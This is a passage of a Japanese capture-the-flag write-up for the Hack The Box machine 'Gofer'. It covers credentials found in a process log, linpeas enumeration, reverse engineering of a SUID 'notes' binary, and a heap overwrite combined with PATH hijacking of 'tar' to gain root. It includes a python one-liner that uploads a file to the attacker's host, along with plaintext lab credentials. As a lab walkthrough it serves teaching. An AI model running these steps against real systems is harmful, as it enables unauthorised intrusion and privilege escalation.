2023/08/09 21:28:46 CMD: UID=0     PID=228    | 
2023/08/09 21:28:46 CMD: UID=0     PID=227    | 
2023/08/09 21:28:46 CMD: UID=0     PID=226    | 
2023/08/09 21:28:46 CMD: UID=0     PID=225    | 
2023/08/09 21:28:46 CMD: UID=0     PID=224    | 
2023/08/09 21:28:46 CMD: UID=0     PID=223    | 
2023/08/09 21:28:46 CMD: UID=0     PID=222    | 
2023/08/09 21:28:46 CMD: UID=0     PID=221    | 
2023/08/09 21:28:46 CMD: UID=0     PID=220    | 
2023/08/09 21:28:46 CMD: UID=0     PID=219    | 
2023/08/09 21:28:46 CMD: UID=0     PID=218    | 
2023/08/09 21:28:46 CMD: UID=0     PID=217    | 
2023/08/09 21:28:46 CMD: UID=0     PID=216    | 
2023/08/09 21:28:46 CMD: UID=0     PID=215    | 
2023/08/09 21:28:46 CMD: UID=0     PID=214    | 
2023/08/09 21:28:46 CMD: UID=0     PID=213    | 
2023/08/09 21:28:46 CMD: UID=0     PID=212    | 
2023/08/09 21:28:46 CMD: UID=0     PID=211    | 
2023/08/09 21:28:46 CMD: UID=0     PID=210    | 
2023/08/09 21:28:46 CMD: UID=0     PID=209    | 
2023/08/09 21:28:46 CMD: UID=0     PID=208    | 
2023/08/09 21:28:46 CMD: UID=0     PID=207    | 
2023/08/09 21:28:46 CMD: UID=0     PID=206    | 
2023/08/09 21:28:46 CMD: UID=0     PID=205    | 
2023/08/09 21:28:46 CMD: UID=0     PID=204    | 
2023/08/09 21:28:46 CMD: UID=0     PID=203    | 
2023/08/09 21:28:46 CMD: UID=0     PID=202    | 
2023/08/09 21:28:46 CMD: UID=0     PID=201    | 
2023/08/09 21:28:46 CMD: UID=0     PID=200    | 
2023/08/09 21:28:46 CMD: UID=0     PID=199    | 
2023/08/09 21:28:46 CMD: UID=0     PID=198    | 
2023/08/09 21:28:46 CMD: UID=0     PID=197    | 
2023/08/09 21:28:46 CMD: UID=0     PID=196    | 
2023/08/09 21:28:46 CMD: UID=0     PID=195    | 
2023/08/09 21:28:46 CMD: UID=0     PID=194    | 
2023/08/09 21:28:46 CMD: UID=0     PID=193    | 
2023/08/09 21:28:46 CMD: UID=0     PID=192    | 
2023/08/09 21:28:46 CMD: UID=0     PID=191    | 
2023/08/09 21:28:46 CMD: UID=0     PID=190    | 
2023/08/09 21:28:46 CMD: UID=0     PID=189    | 
2023/08/09 21:28:46 CMD: UID=0     PID=188    | 
2023/08/09 21:28:46 CMD: UID=0     PID=187    | 
2023/08/09 21:28:46 CMD: UID=0     PID=186    | 
2023/08/09 21:28:46 CMD: UID=0     PID=185    | 
2023/08/09 21:28:46 CMD: UID=0     PID=184    | 
2023/08/09 21:28:46 CMD: UID=0     PID=183    | 
2023/08/09 21:28:46 CMD: UID=0     PID=182    | 
2023/08/09 21:28:46 CMD: UID=0     PID=181    | 
2023/08/09 21:28:46 CMD: UID=0     PID=180    | 
2023/08/09 21:28:46 CMD: UID=0     PID=179    | 
2023/08/09 21:28:46 CMD: UID=0     PID=178    | 
2023/08/09 21:28:46 CMD: UID=0     PID=177    | 
2023/08/09 21:28:46 CMD: UID=0     PID=176    | 
2023/08/09 21:28:46 CMD: UID=0     PID=175    | 
2023/08/09 21:28:46 CMD: UID=0     PID=174    | 
2023/08/09 21:28:46 CMD: UID=0     PID=173    | 
2023/08/09 21:28:46 CMD: UID=0     PID=172    | 
2023/08/09 21:28:46 CMD: UID=0     PID=171    | 
2023/08/09 21:28:46 CMD: UID=0     PID=170    | 
2023/08/09 21:28:46 CMD: UID=0     PID=168    | 
2023/08/09 21:28:46 CMD: UID=0     PID=167    | 
2023/08/09 21:28:46 CMD: UID=0     PID=166    | 
2023/08/09 21:28:46 CMD: UID=0     PID=164    | 
2023/08/09 21:28:46 CMD: UID=0     PID=162    | 
2023/08/09 21:28:46 CMD: UID=0     PID=161    | 
2023/08/09 21:28:46 CMD: UID=0     PID=160    | 
2023/08/09 21:28:46 CMD: UID=0     PID=158    | 
2023/08/09 21:28:46 CMD: UID=0     PID=157    | 
2023/08/09 21:28:46 CMD: UID=0     PID=156    | 
2023/08/09 21:28:46 CMD: UID=0     PID=155    | 
2023/08/09 21:28:46 CMD: UID=0     PID=154    | 
2023/08/09 21:28:46 CMD: UID=0     PID=153    | 
2023/08/09 21:28:46 CMD: UID=0     PID=152    | 
2023/08/09 21:28:46 CMD: UID=0     PID=151    | 
2023/08/09 21:28:46 CMD: UID=0     PID=127    | 
2023/08/09 21:28:46 CMD: UID=0     PID=105    | 
2023/08/09 21:28:46 CMD: UID=0     PID=104    | 
2023/08/09 21:28:46 CMD: UID=0     PID=101    | 
2023/08/09 21:28:46 CMD: UID=0     PID=92     | 
2023/08/09 21:28:46 CMD: UID=0     PID=91     | 
2023/08/09 21:28:46 CMD: UID=0     PID=90     | 
2023/08/09 21:28:46 CMD: UID=0     PID=89     | 
2023/08/09 21:28:46 CMD: UID=0     PID=88     | 
2023/08/09 21:28:46 CMD: UID=0     PID=87     | 
2023/08/09 21:28:46 CMD: UID=0     PID=86     | 
2023/08/09 21:28:46 CMD: UID=0     PID=85     | 
2023/08/09 21:28:46 CMD: UID=0     PID=84     | 
2023/08/09 21:28:46 CMD: UID=0     PID=83     | 
2023/08/09 21:28:46 CMD: UID=0     PID=82     | 
2023/08/09 21:28:46 CMD: UID=0     PID=81     | 
2023/08/09 21:28:46 CMD: UID=0     PID=80     | 
2023/08/09 21:28:46 CMD: UID=0     PID=79     | 
2023/08/09 21:28:46 CMD: UID=0     PID=78     | 
2023/08/09 21:28:46 CMD: UID=0     PID=77     | 
2023/08/09 21:28:46 CMD: UID=0     PID=76     | 
2023/08/09 21:28:46 CMD: UID=0     PID=75     | 
2023/08/09 21:28:46 CMD: UID=0     PID=74     | 
2023/08/09 21:28:46 CMD: UID=0     PID=73     | 
2023/08/09 21:28:46 CMD: UID=0     PID=72     | 
2023/08/09 21:28:46 CMD: UID=0     PID=71     | 
2023/08/09 21:28:46 CMD: UID=0     PID=70     | 
2023/08/09 21:28:46 CMD: UID=0     PID=69     | 
2023/08/09 21:28:46 CMD: UID=0     PID=68     | 
2023/08/09 21:28:46 CMD: UID=0     PID=67     | 
2023/08/09 21:28:46 CMD: UID=0     PID=66     | 
2023/08/09 21:28:46 CMD: UID=0     PID=65     | 
2023/08/09 21:28:46 CMD: UID=0     PID=64     | 
2023/08/09 21:28:46 CMD: UID=0     PID=63     | 
2023/08/09 21:28:46 CMD: UID=0     PID=62     | 
2023/08/09 21:28:46 CMD: UID=0     PID=61     | 
2023/08/09 21:28:46 CMD: UID=0     PID=60     | 
2023/08/09 21:28:46 CMD: UID=0     PID=59     | 
2023/08/09 21:28:46 CMD: UID=0     PID=58     | 
2023/08/09 21:28:46 CMD: UID=0     PID=57     | 
2023/08/09 21:28:46 CMD: UID=0     PID=56     | 
2023/08/09 21:28:46 CMD: UID=0     PID=54     | 
2023/08/09 21:28:46 CMD: UID=0     PID=53     | 
2023/08/09 21:28:46 CMD: UID=0     PID=52     | 
2023/08/09 21:28:46 CMD: UID=0     PID=51     | 
2023/08/09 21:28:46 CMD: UID=0     PID=50     | 
2023/08/09 21:28:46 CMD: UID=0     PID=32     | 
2023/08/09 21:28:46 CMD: UID=0     PID=31     | 
2023/08/09 21:28:46 CMD: UID=0     PID=30     | 
2023/08/09 21:28:46 CMD: UID=0     PID=29     | 
2023/08/09 21:28:46 CMD: UID=0     PID=28     | 
2023/08/09 21:28:46 CMD: UID=0     PID=27     | 
2023/08/09 21:28:46 CMD: UID=0     PID=25     | 
2023/08/09 21:28:46 CMD: UID=0     PID=24     | 
2023/08/09 21:28:46 CMD: UID=0     PID=23     | 
2023/08/09 21:28:46 CMD: UID=0     PID=20     | 
2023/08/09 21:28:46 CMD: UID=0     PID=18     | 
2023/08/09 21:28:46 CMD: UID=0     PID=17     | 
2023/08/09 21:28:46 CMD: UID=0     PID=16     | 
2023/08/09 21:28:46 CMD: UID=0     PID=15     | 
2023/08/09 21:28:46 CMD: UID=0     PID=13     | 
2023/08/09 21:28:46 CMD: UID=0     PID=12     | 
2023/08/09 21:28:46 CMD: UID=0     PID=11     | 
2023/08/09 21:28:46 CMD: UID=0     PID=10     | 
2023/08/09 21:28:46 CMD: UID=0     PID=9      | 
2023/08/09 21:28:46 CMD: UID=0     PID=8      | 
2023/08/09 21:28:46 CMD: UID=0     PID=6      | 
2023/08/09 21:28:46 CMD: UID=0     PID=4      | 
2023/08/09 21:28:46 CMD: UID=0     PID=3      | 
2023/08/09 21:28:46 CMD: UID=0     PID=2      | 
2023/08/09 21:28:46 CMD: UID=0     PID=1      | /sbin/init 
2023/08/09 21:29:01 CMD: UID=0     PID=21910  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21909  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21911  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21913  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21912  | 
2023/08/09 21:29:01 CMD: UID=0     PID=21914  | /usr/bin/curl http://proxy.gofer.htb/?url=http://gofer.htb --user tbuckley:ooP4dietie3o_hquaeti                                                                                         
2023/08/09 21:29:01 CMD: UID=0     PID=21915  | /bin/sh -c /root/scripts/mail.sh 
2023/08/09 21:29:01 CMD: UID=0     PID=21917  | /bin/bash /root/scripts/mail.sh 
2023/08/09 21:29:01 CMD: UID=0     PID=21921  | /bin/bash /root/scripts/mail.sh 
2023/08/09 21:29:01 CMD: UID=0     PID=21920  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21922  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21923  | /usr/sbin/postdrop -r 
2023/08/09 21:29:01 CMD: UID=0     PID=21924  | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem root 
```
何やらcurlコマンドの実行履歴が見える。
それにUserとPasswordが見える。
これでSSH試行してみる。
![25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/286e690e-8a04-2c9a-f148-f51310fbb57d.png)
あっさり入れました。
これでUserフラグゲットです！！

# Privilege Escalation - Vertical
## linpeas
以下のサイトからlinpeas.shをダウンロードしてくる。

https://github.com/carlospolop/PEASS-ng/releases

実行権限をつけて起動します。
```bash
tbuckley@gofer:/tmp$ ./linpeas.sh 


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                             
    |---------------------------------------------------------------------------------|                             
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |                             
    |         Follow on Twitter         :     @hacktricks_live                          |                           
    |         Respect on HTB            :     SirBroccoli                             |                             
    |---------------------------------------------------------------------------------|                             
    |                                 Thank you!                                      |                             
    \---------------------------------------------------------------------------------/                             
          linpeas-ng by carlospolop                                                                                 
                                                                                                                    
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.'           
                                                                                                                    
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                            
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════                                 
                               ╚═══════════════════╝                                                                
OS: Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.179-2 (2023-07-14)
User & Groups: uid=1002(tbuckley) gid=1002(tbuckley) groups=1002(tbuckley),1004(dev)
Hostname: gofer.htb
Writable folder: /dev/shm
[+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)                                                                 
[+] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)                                                                                                      
                                                                                                                    
                                                                                                                    

Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE
                                                                                                                    
                              ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════                                  
                              ╚════════════════════╝                                                                
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits                                  
Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.179-2 (2023-07-14)
Distributor ID: Debian
Description:    Debian GNU/Linux 11 (bullseye)
Release:        11
Codename:       bullseye

╔══════════╣ Sudo version
sudo Not Found

...省略

╔══════════╣ Analyzing Other Interesting Files (limit 70)
-rw-r--r-- 1 root root 3526 Mar 27  2022 /etc/skel/.bashrc                                                          
-rw-r--r-- 1 ablake ablake 3526 Mar 27  2022 /home/ablake/.bashrc
-rw-r--r-- 1 jdavis jdavis 3526 Mar 27  2022 /home/jdavis/.bashrc
-rw-r--r-- 1 jhudson jhudson 3526 Oct 28  2022 /home/jhudson/.bashrc
-rw-r--r-- 1 tbuckley tbuckley 3526 Mar 27  2022 /home/tbuckley/.bashrc





-rw-r--r-- 1 root root 807 Mar 27  2022 /etc/skel/.profile
-rw-r--r-- 1 ablake ablake 807 Mar 27  2022 /home/ablake/.profile
-rw-r--r-- 1 jdavis jdavis 807 Mar 27  2022 /home/jdavis/.profile
-rw-r--r-- 1 jhudson jhudson 807 Oct 28  2022 /home/jhudson/.profile
-rw-r--r-- 1 tbuckley tbuckley 807 Mar 27  2022 /home/tbuckley/.profile






                      ╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                                  
                      ╚════════════════════════════════════╝                                                        
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                    
-rwsr-xr-- 1 root messagebus 51K Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper                           
-rwsr-xr-x 1 root root 471K Jul  1  2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 19K Jan 13  2022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 35K Feb 26  2021 /usr/bin/fusermount
-rwsr-xr-x 1 root root 55K Jan 20  2022 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8                                                                                                             
-rwsr-xr-x 1 root root 63K Feb  7  2020 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                                                                  
-rwsr-xr-x 1 root root 35K Jan 20  2022 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 87K Feb  7  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52K Feb  7  2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 23K Jan 13  2022 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)                                                                                                                
-rwsr-xr-x 1 root root 71K Jan 20  2022 /usr/bin/su
-rwsr-xr-x 1 root root 58K Feb  7  2020 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Feb  7  2020 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-s--- 1 root dev 17K Apr 28 16:06 /usr/local/bin/notes (Unknown SUID binary!)

╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                    
-rwxr-sr-x 1 root ssh 347K Jul  1  2022 /usr/bin/ssh-agent                                                          
-rwxr-sr-x 1 root shadow 79K Feb  7  2020 /usr/bin/chage
-rwxr-sr-x 1 root shadow 31K Feb  7  2020 /usr/bin/expiry
-rwxr-sr-x 1 root tty 23K Jan 20  2022 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root mail 23K Feb  4  2021 /usr/bin/dotlockfile
-rwxr-sr-x 1 root tty 35K Jan 20  2022 /usr/bin/wall
-rwxr-sr-x 1 root crontab 43K Feb 22  2021 /usr/bin/crontab
-r-xr-sr-x 1 root postdrop 19K Jan 22  2023 /usr/sbin/postdrop
-r-xr-sr-x 1 root postdrop 23K Jan 22  2023 /usr/sbin/postqueue
-rwxr-sr-x 1 root shadow 38K Aug 26  2021 /usr/sbin/unix_chkpwd
-rwsr-s--- 1 root dev 17K Apr 28 16:06 /usr/local/bin/notes (Unknown SGID binary)

...省略
```
`/usr/local/bin/notes`がこのUserのGroupでSUID持って回せそうだぞ。
こいつを悪用する感じかな。
`notes`の動きをKaliで詳細調査するために転送をしましょう！

## Transfer
uploadserverを起動します。
```bash
┌──(root㉿kalimsi)-[~/work/gofer]
└─# python3 -m uploadserver  
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```
攻略対象マシンで以下のコマンドを実行します。
```bash
python3 -c "import requests;requests.post(\"http://10.10.14.32:8000/upload\",files={\"files\":open(\"/usr/local/bin/notes\",\"rb\")})"
```
Uploadが以下のように成功してたらOKです。
※普通はmd5sumでしっかりハッシュ値を確認します。
```bash
┌──(root㉿kalimsi)-[~/work/gofer]
└─# python3 -m uploadserver  
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.225 - - [09/Aug/2023 21:41:58] [Uploaded] "notes" --> /root/work/gofer/notes
10.10.11.225 - - [09/Aug/2023 21:41:58] "POST /upload HTTP/1.1" 200 -
```
さて、Localで解析を開始しましょうかね。

## Reversing
### Ghidra
とりあえずGhidraにこのファイルを食わしてみた。
![26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/46f24a33-75c3-573c-8758-e28185997c49.png)
```c:notes.decompile
void main(void)

{
  __uid_t _Var1;
  int iVar2;
  undefined4 local_1c;
  void *local_18;
  void *local_10;
  
  local_1c = 0;
  local_10 = (void *)0x0;
  local_18 = (void *)0x0;
  do {
    puts(
        "====================================== ==\n1) Create an user and choose an usernam e\n2) Show user information\n3) Delete an  user\n4) Write a note\n5) Show a note\n6) S ave a note (not yet implemented)\n7) Delet e a note\n8) Backup notes\n9) Quit\n====== ==================================\n\n"
        );
    printf("Your choice: ");
    __isoc99_scanf(&DAT_0010212b,&local_1c);
    puts("");
    switch(local_1c) {
    default:
                    /* WARNING: Subroutine does not retur n */
      exit(0);
    case 1:
      local_10 = malloc(0x28);
      if (local_10 == (void *)0x0) {
                    /* WARNING: Subroutine does not retur n */
        exit(-1);
      }
      memset(local_10,0,0x18);
      memset((void *)((long)local_10 + 0x18),0,0 x10);
      _Var1 = getuid();
      if (_Var1 == 0) {
        *(undefined4 *)((long)local_10 + 0x18) = 0 x696d6461;
        *(undefined *)((long)local_10 + 0x1c) = 0x 6e;
      }
      else {
        *(undefined4 *)((long)local_10 + 0x18) = 0 x72657375;
      }
      printf("Choose an username: ");
      __isoc99_scanf(&DAT_00102144,local_10);
      puts("");
      break;
    case 2:
      if (local_10 == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        printf("\nUsername: %s\n",local_10);
        printf("Role: %s\n\n",(long)local_10 + 0x 18);
      }
      break;
    case 3:
      if (local_10 != (void *)0x0) {
        free(local_10);
      }
      break;
    case 4:
      local_18 = malloc(0x28);
      memset(local_18,0,0x28);
      if (local_18 == (void *)0x0) {
                    /* WARNING: Subroutine does not retur n */
        exit(-1);
      }
      puts("Write your note:");
      __isoc99_scanf(&DAT_0010218b,local_18);
      break;
    case 5:
      printf("Note: %s\n\n",local_18);
      break;
    case 6:
      puts("Coming soon!\n");
      break;
    case 7:
      if (local_18 != (void *)0x0) {
        free(local_18);
        local_18 = (void *)0x0;
      }
      break;
    case 8:
      if (local_10 == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        iVar2 = strcmp((char *)((long)local_10 + 0 x18),"admin");
        if (iVar2 == 0) {
          puts("Access granted!");
          setuid(0);
          setgid(0);
          system("tar -czvf /root/backups/backup_ notes.tar.gz /opt/notes");
        }
        else {
          puts("Access denied: you don\'t have the a dmin role!\n");
        }
      }
    }
  } while( true );
}
```
実際にこのバイナリを起動してみればある程度わかると思うが、最初にどの機能を利用するか聞かれた後にCase文でそれぞれの処理に飛ばす感じだ。
`case 8`を見てもらうと分かりやすいが、Full Pathを指定せずに`tar`コマンドを実行している。
これを考慮すると、tarに`/bin/bash`などのExploitを仕込んでおいて`Path`をその仕込んだtarファイルがある場所(今回は`tmp`に仕込んだ）を注入すればOKだろう。
ただこの`case 8`に飛ぶためには以下のadmin判定をなんとかしないとelseで`Access denied`されてしまう。
```c
iVar2 = strcmp((char *)((long)local_10 + 0 x18),"admin");
```
admin判定には`local_10`の変数が関係ありそうに使われているわけだが、これは`case 1`でも以下のように呼び出されており、mallocでメモリ確保されている。これが確保されていない場合（Userが作られてない場合）は`case 8`の`if (local_10 == (void *)0x0)`で弾かれて`First create an user!`言われるわけだ。
```c
case 1:
    local_10 = malloc(0x28);
```
更に`case 1`を見てみると以下のコードでUserの権限を確認していることがわかる。
```c
_Var1 = getuid();
if (_Var1 == 0) {
    *(undefined4 *)((long)local_10 + 0x18) = 0 x696d6461;
    *(undefined *)((long)local_10 + 0x1c) = 0x 6e;
}
else {
    *(undefined4 *)((long)local_10 + 0x18) = 0 x72657375;
}
```
`local_10 + 0x18`にUserの権限フラグか何かを投入しているみたいだ。なるほど。
よくわからんから動的にデバックして更なる解析を実施する。

### radare2
radare2を使ってデバックしちゃいます！
Boxにはわざわざgdbが使えるようにインストールされていましたがr2派閥なので...
とりあえず権限をバイナリに読み取られてしまうようなのでUser権限で以下を実行します。
※notesには実行権限を付与しておきましょう。
```bash
┌──(taksec㉿kalimsi)-[~]
└─# r2 -A -d notes
```
`pdf @main`コマンドでmain関数のディスアセンブルを確認し、機能をswitchする命令部分でブレイクポイントを設定(dbコマンド)します。
これで色々と機能を追いやすくなるはずなので。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a4e36f78-0d1b-a1e1-c90c-f1c30bd9e2bd.png)
メモリの横に`b`フラグが立てば成功です。
さて、では`dc`コマンドで実行します。Userを入力する画面では４２で確認しやすいように`BBB`と入力します。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7c52cd54-138d-af38-972a-486014987081.png)
このBBB（424242）がどこに保存されているかビジュアルモード（V!コマンド）で確認しにいきます。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/40acf220-4b02-1e5a-3f10-bae7045c1fb1.png)
rsiのレジスタの値を確認しにいくとここに保存されているようでした。ここがlocal_10に当たる部分ですかね。このまま何もせずに`case 8`を起動するために`case 8`の部分のアセンブリを眺めにいきます。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/bea17cfd-9bd0-a081-d48d-c4b9f3b36701.png)
わかんないので`add rax 0x18`している部分にブレークポイントを仕込みます。（Ghidraでも見た18バイト操作）
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a17a295a-85bf-05a3-5c95-3ce86b1d174d.png)
この状態でraxのレジストリを確認しにいきます。あ、さっきのUser名がいる。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0d246ea0-46dc-ff19-e5a3-2d6868327f05.png)
ではこの`add rax 0x18`を実施した後の動作を確認します。その為に直後にブレークポイントを設定します。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d0ae1e89-2dc4-5709-80ee-b04541d00ead.png)
先ほどと同様にraxのレジストリを確認してみると先ほどUser名が格納されていたメモリから18バイト（２４文字）分の値が抜け落ちています。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5b2c21e9-63f1-e78c-ff91-e2fcac6adca6.png)
あー！このraxをrdiに入れて、adminの値を入れてるrsiとstrcmpを呼び出して比較してるわけか。（一気に3行分の`case 8`のアセンブリを読みました。）ある程度動きが読めました。

また、`case ４`の機能をいじっているとわかるのですが、このNoteの名前を保存する機能（`case 4`）の保存先もrsiを見ればわかりますが、`0x561e27a356b0`です。バッファーオーバーフローで`case 4`経由で24文字の余分な文字を含んだNoteの名前を作成すれば、admin権限を読み取るメモリを汚染できるのではと考えます。

というわけで、以下のようなNoteを`case 4`経由で作成します。
```text
AAAAAAAAAAAAAAAAAAAAAAAAadmin
```
先ほどのUser：BBBを作成した後に`case 3`を使い、クリアした後にこのNoteを`case 4`で叩き込みます。
そうすると、以下のようにrsiが変化します。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/47cd83dd-dbbf-9ada-306d-cedf4cc90833.png)
これで先ほどと同じように`add rax 0x18`を実行させると以下のraxのようになります。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a2dadd67-46e8-9ade-6821-250e561d38f6.png)
`admin`の16進数文字（61646d696e）が読み込まれそうですね。そのままdcで実行します。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1b7f9061-99e3-de3f-8090-a26837dc6f62.png)
うまくtar実行のコマンドまで辿り着いているみたいです！
よし！！あとはtarコマンドを偽装するだけだ！

## PATH汚染
まず偽装するtarファイルを作成します。
```bash:tar
/bin/bash
```
次にPATHの環境変数を汚染します。
```bash
tbuckley@gofer:/tmp$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
tbuckley@gofer:/tmp$ export PATH=/tmp:$PATH
tbuckley@gofer:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
```
これで悪性なtarファイルを実行できます。
先ほどLocalで実行した手順でnotesを回します。
![27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0d9f431e-4a76-06d4-4c45-6338218d053f.png)
特権奪取に成功しました！！！

# まとめ
![スクリーンショット 2023-09-03 0.17.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/46af8ae8-6557-b42c-45a4-d0f9b61b39bf.png)
これで特権昇格に成功し、Root権限奪取に成功しました。
